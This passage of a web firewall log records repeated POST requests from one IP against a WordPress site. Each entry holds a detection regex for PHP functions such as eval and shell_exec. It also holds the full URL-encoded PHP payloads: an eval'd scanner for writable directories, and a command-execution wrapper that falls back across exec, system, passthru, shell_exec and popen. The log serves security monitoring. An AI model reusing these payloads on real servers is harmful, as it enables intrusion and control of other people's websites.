0%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:20:21","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3362\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 19:20:43","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jY:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:3347\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\n\njY=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:20:53","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kN:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3347\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nkN=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:21:02","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tY:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-length:3347\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\n\ntY=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%